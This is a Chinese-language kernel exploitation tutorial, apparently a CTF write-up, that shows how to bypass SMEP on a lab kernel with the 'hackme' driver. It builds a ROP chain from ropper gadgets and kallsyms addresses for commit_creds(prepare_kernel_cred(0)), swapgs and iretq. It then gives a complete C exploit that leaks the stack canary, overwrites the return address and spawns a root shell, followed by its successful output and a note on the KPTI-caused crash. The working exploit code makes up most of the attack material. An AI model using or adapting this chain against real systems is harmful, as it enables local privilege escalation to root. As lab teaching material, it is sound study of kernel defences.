使用的开始上一节中的pwn题
SMEP (Supervisor Mode Execution Prevention)
SMEP安全机制:禁止在执行内核空间代码时突然执行用户空间代码。类似 NX。
在没有开启SMEP的情况下,攻击者将rip或者函数指针指向了用户空间,可在用户空间布局shellcode,从而提权。
但是,在开启SMEP后,内核执行用户空间的shellcode,将导致崩溃
char *shellcode = mmap(用户空间特定地址 & 0xfffffffffffff000ul, 0x1000, PROT_READ|PROT_WRITE|PROT_EXECUTE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); memcpy(shellcode, SHELLCODE, sizeof(SHELLCODE)); control_rip(shellcode); // RIP = shellcode
SMEP 是一种硬件安全机制。通过设置 CR4 寄存器的第 21 位启用 SMEP。
可以在qemu运行参数启用SMEP
-cpu kvm64,+smep
在进入内核后,可以通过查看 /proc/cpuinfo
确认是否启用了SMEP
cat /proc/cpuinfo | grep smep
将上一节中的启动脚本修改为如下形式
#!/bin/sh
qemu-system-x86_64 \-m 1024M \-cpu kvm64,+smep \-kernel vmlinuz \-initrd initramfs.cpio.gz \-hdb flag.txt \-snapshot \-nographic \-monitor /dev/null \-no-reboot \-append "console=ttyS0 nopti nokaslr quiet panic=1"
ROP
ROP(Return-Oriented Programming, 返回导向编程)
通俗理解,就是通过栈溢出的漏洞,覆盖return address,从而达让直行程序反复横跳的一种技术。
参考这篇文章:https://blog.csdn.net/qq_31343581/article/details/119996405
一般来说,理解如下指令(观察栈的变化和rip的变化),就能快速理解rop
- ret指令
- call指令
- 函数的首地址
- pop/push指令
- pop/push指令 + ret
- 一般性指令 + ret
在该题目中,通过内核栈溢出,将rop提权指令写入到内核栈中,使得提权代码在内核空间运行,从而绕过smep。
拼接ROP指令
从上一节中我们先覆盖的是canary,然后再覆盖返回地址,进而跳转到提权代码处,提权代码大致流程是
【1】commit_creds(prepare_kernel_cred (0));
【2】swapgs
【3】ss/sp/rflags/cs/rip
【4】iretq
现在需要从内核文件中,找出相关的汇编语句拼接出如上的提权语句
准备ROP
通过 vmlinux-to-elf 将 压缩有的内核文件vmlinuz转换为未压缩的elf格式文件vmlinux_original
vmlinux-to-elf vmlinuz vmlinux_original
通过ropper提取出vmlinux_original中的rop汇编语句
# 安装ropper
pip3 install ropper
ropper --file ./vmlinux_original --nocolor > rop.txt
构造 【1】commit_creds(prepare_kernel_cred (0));
首先需要知道,在x64汇编中
- 通过rdi,rsi,rdx,rcx,r8,r9来保存函数的第1~第6个参数
- 函数的返回值存储在rax中
那就可以将【1】commit_creds(prepare_kernel_cred (0));
拆解为
【1-1】将0存储到rdi中
【1-2】调用prepare_kernel_cred,此时prepare_kernel_cred (0)的结果存储在rax中
【1-3】将rax中的内容复制到rdi中
【1-4】调用commit_creds
【1-1】将0存储到rdi中
rop是灵活的,没有固定的公式;只要拼接的rop链合乎语义就行
可以使用
pop rdi ; ret;
0
或者使用
xor rdi, rdi ; ret;
再或者
pop rax ; pop rcx ; pop rdi ;ret
0
0
0
【1-2】调用prepare_kernel_cred,此时prepare_kernel_cred (0)的结果存储在rax中
pop rdi ; ret;
0
prepare_kernel_cred的地址
【1-3】将rax中的内容复制到rdi中
pop rdi ; ret;
0
prepare_kernel_cred的首地址
mov rdi, rax ; ret;
【1-4】调用commit_creds
pop rdi ; ret;
0
prepare_kernel_cred的首地址
mov rdi, rax ; ret;
commit_creds的首地址
拼凑
获取 pop rdi; ret;
root@555bcb073c53:~/kernel-rop# cat rop.txt | grep ": pop rdi; ret;"
0xffffffff81006370: pop rdi; ret;
现在rop为
0xffffffff81006370 #pop rdi; ret;
0
获取commit_creds
的地址
/ # cat /proc/kallsyms | grep "prepare_kernel_cred"
ffffffff814c67f0 T prepare_kernel_cred
现在rop为
0xffffffff81006370 #pop rdi; ret;
0
0xffffffff814c67f0 # prepare_kernel_cred
获取mov rdi, rax
语句,将commit_creds的结果转换为prepare_kernel_cred的参数
~/kernel-rop# cat rop.txt | grep ": mov rdi, rax; " | grep -v "call" | grep -v "j"
0xffffffff818f8495: mov rdi, rax; mov qword ptr [rdi], 1; pop rbp; ret;
0xffffffff816bf203: mov rdi, rax; mov qword ptr [rsi + 0x140], rdi; pop rbp; ret;
0xffffffff8100aedf: mov rdi, rax; rep movsq qword ptr [rdi], qword ptr [rsi]; pop rbp; ret;
为了在mov rdi, rax
执行之后,不再影响rdi的值,这里选取0xffffffff816bf203
,又由于0xffffffff816bf203
中存在pop rbp
这个语句,还需要在rop中填充内容,将这个pop
无害化掉
现在rop为
0xffffffff81006370 #pop rdi; ret;
0
0xffffffff814c67f0 # prepare_kernel_cred
0xffffffff816bf203 # mov rdi, rax; mov qword ptr [rsi + 0x140], rdi; pop rbp; ret;
0
获取prepare_kernel_cred
的地址
# cat /proc/kallsyms | grep "commit_creds"
ffffffff814c6410 T commit_creds
现在rop为
0xffffffff81006370 #pop rdi; ret;
0
0xffffffff814c67f0 # prepare_kernel_cred
0xffffffff816bf203 # mov rdi, rax; mov qword ptr [rsi + 0x140], rdi; pop rbp; ret;
0
0xffffffff814c6410 # commit_creds
构造 【2】swapgs
~/kernel-rop# cat rop.txt | grep ": swapgs"
0xffffffff8100a55f: swapgs; pop rbp; ret;
0xffffffff8100a557: swapgs; rdgsbase rax; swapgs; pop rbp; ret;
0xffffffff8100a590: swapgs; wrgsbase rdi; swapgs; pop rbp; ret;
这里选取0xffffffff8100a55f
,又由于存在pop rbp
这个语句,还需要在rop中填充内容,将这个pop
无害化掉
现在rop为
0xffffffff81006370 #pop rdi; ret;
0
0xffffffff814c67f0 # prepare_kernel_cred
0xffffffff816bf203 # mov rdi, rax; mov qword ptr [rsi + 0x140], rdi; pop rbp; ret;
0
0xffffffff814c6410 # commit_creds
0xffffffff8100a55f # swapgs; pop rbp; ret;
0
构造【3】ss/sp/rflags/cs/rip
和【4】iretq
由于rop本身就是在内核栈中,ss/sp/rflags/cs/rip
可以直接填写在内核栈中
这里需要先将iretq
放入rop中,且ss/sp/rflags/cs/rip
需要紧紧挨着iretq
:
- 因为iretq本身就是返回指令,无论其后跟了多少pop指令,这些指令都不执行
- iretq执行完毕后,栈顶就是需要按顺序弹出的
rip/cs/rflags/sp/ss
:~/kernel-rop# cat rop.txt | grep ": iretq"
0xffffffff8229cffc: iretq; add byte ptr [r11], al; call 0x149cd04; xor eax, eax; pop rbp; ret;
0xffffffff819c68b6: iretq; add byte ptr [rax - 0x77], cl; adc ebx, dword ptr [rbx + 0x41]; pop rsp; pop rbp; ret;
0xffffffff814390cf: iretq; add rsp, 0x10; pop rbx; pop r12; pop rbp; ret;
0xffffffff81677f71: iretq; cwde; call qword ptr [rbp + 0x48];
0xffffffff8225e3af: iretq; dec dword ptr [rax + 1]; ret 0xd689;
0xffffffff814381cb: iretq; pop rbp; ret;
0xffffffff815e56c4: iretq; sub eax, 0x89c08500; ret 0x880f;
0xffffffff81bb3cb3: iretq; test bh, bh; pop rbx; pop rbp; ret;
0xffffffff81f76df0: iretq; xchg eax, edi; call qword ptr [rbp - 0x31];
0xffffffff81b838ad: iretq; xlatb; dec dword ptr [rax - 0x68]; pop rbp; ret;
这里选择0xffffffff819c68b6
这条最长的iretq指令作为rop,来验证iretq后面跟什么内容都无所谓
0xffffffff81006370 #pop rdi; ret;
0
0xffffffff814c67f0 # prepare_kernel_cred
0xffffffff816bf203 # mov rdi, rax; mov qword ptr [rsi + 0x140], rdi; pop rbp; ret;
0
0xffffffff814c6410 # commit_creds
0xffffffff8100a55f # swapgs; pop rbp; ret;
0
0xffffffff819c68b6 #iretq; add byte ptr [rax - 0x77], cl; adc ebx, dword ptr [rbx + 0x41]; pop rsp; pop rbp; ret;
user_rip
user_sp
user_rflags
user_sp
user_ss
最终EXP
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>char *VULN_DRV = "/dev/hackme";
void spawn_shell();int64_t global_fd = 0;
uint64_t cookie = 0;
uint8_t cookie_off = 16;uint64_t user_cs, user_ss, user_rflags, user_sp;
uint64_t prepare_kernel_cred = 0xffffffff814c67f0;
uint64_t commit_creds = 0xffffffff814c6410;
uint64_t user_rip = (uint64_t) spawn_shell;
uint64_t pop_rdi_ret = 0xffffffff81006370;
uint64_t mov_rdi_rax_and_pop1_ret = 0xffffffff816bf203;
uint64_t swapgs_pop1_ret = 0xffffffff8100a55f;
uint64_t iretq = 0xffffffff819c68b6;void open_dev() {global_fd = open(VULN_DRV, O_RDWR);if (global_fd < 0) {printf("[!] failed to open %s\n", VULN_DRV);exit(-1);} else {printf("[+] successfully opened %s\n", VULN_DRV);}
}void leak_cookie() {uint8_t sz = 40;uint64_t leak[sz];printf("[*] trying to leak up to %ld bytes memory\n", sizeof(leak));uint64_t data = read(global_fd, leak, sizeof(leak));cookie = leak[cookie_off];printf("[+] found stack canary: 0x%lx @ index %d\n", cookie, cookie_off);if(!cookie) {puts("[-] failed to leak stack canary!");exit(-1);}
}void spawn_shell() {puts("[+] returned to user land");uid_t uid = getuid();if (uid == 0) {printf("[+] got root (uid = %d)\n", uid);} else {printf("[!] failed to get root (uid: %d)\n", uid);exit(-1);}puts("[*] spawning shell");system("/bin/sh");exit(0);
}void save_userland_state() {puts("[*] saving user land state");__asm__(".intel_syntax noprefix;""mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;"".att_syntax");
}void overwrite_ret() {puts("[*] trying to overwrite return address with ROP chain");uint8_t sz = 50;uint64_t payload[sz];payload[cookie_off++] = cookie;payload[cookie_off++] = 0x0;payload[cookie_off++] = 0x0;payload[cookie_off++] = 0x0;payload[cookie_off++] = pop_rdi_ret; // return addresspayload[cookie_off++] = 0x0;payload[cookie_off++] = prepare_kernel_cred;payload[cookie_off++] = mov_rdi_rax_and_pop1_ret;payload[cookie_off++] = 0x0;payload[cookie_off++] = commit_creds;payload[cookie_off++] = swapgs_pop1_ret;payload[cookie_off++] = 0x0;payload[cookie_off++] = iretq;payload[cookie_off++] = user_rip;payload[cookie_off++] = user_cs;payload[cookie_off++] = user_rflags;payload[cookie_off++] = user_sp;payload[cookie_off++] = user_ss;uint64_t data = write(global_fd, payload, sizeof(payload));puts("[-] if you can read this we failed the mission :(");
}int main(int argc, char **argv) {open_dev();leak_cookie();save_userland_state();overwrite_ret();return 0;
}
效果
/ $ ./04_exploit_bypass_smep
[+] successfully opened /dev/hackme
[*] trying to leak up to 320 bytes memory
[+] found stack canary: 0x72ad2e60ba25b400 @ index 16
[*] saving user land state
[*] trying to overwrite return address with ROP chain
[+] returned to user land
[+] got root (uid = 0)
[*] spawning shell
/ #
一个小问题
在该题中,如果启动脚本如下,没有显示禁用KPTI
,运行exp会报错
启动脚本如下
#!/bin/sh
qemu-system-x86_64 \-m 128M \-cpu kvm64,+smep,+smap \-kernel vmlinuz \-initrd initramfs.cpio.gz \-hdb flag.txt \-snapshot \-nographic \-monitor /dev/null \-no-reboot \-append "console=ttyS0 nokaslr kpti=1 quiet panic=1"
报错如下
/ $ ./04_exploit_bypass_smep
[+] successfully opened /dev/hackme
[*] trying to leak up to 320 bytes memory
[+] found stack canary: 0xb1b7bdeffa2b1200 @ index 16
[*] saving user land state
[*] trying to overwrite return address with ROP chain
Segmentation fault
因为该内核默认编译启用了KPTI,可以通过如下命令查看
/ # cat /sys/devices/system/cpu/vulnerabilities/*
Processor vulnerable
Mitigation: PTE Inversion
Vulnerable: Clear CPU buffers attempted, no microcode; SMT Host state unknown
Mitigation: PTI
Vulnerable
Mitigation: usercopy/swapgs barriers and __user pointer sanitization
Mitigation: Full generic retpoline, STIBP: disabled, RSB filling
Not affected
Not affected
如果查看不了,需要在文件系统的启动脚本中挂载sysfs
在/etc/init.d/rcS
中添加如下内容
mkdir -p /sys && mount -t sysfs sysfs /sys
因此需要将启动脚本中添加nopti
-append "console=ttyS0 nopti nokaslr quiet panic=1"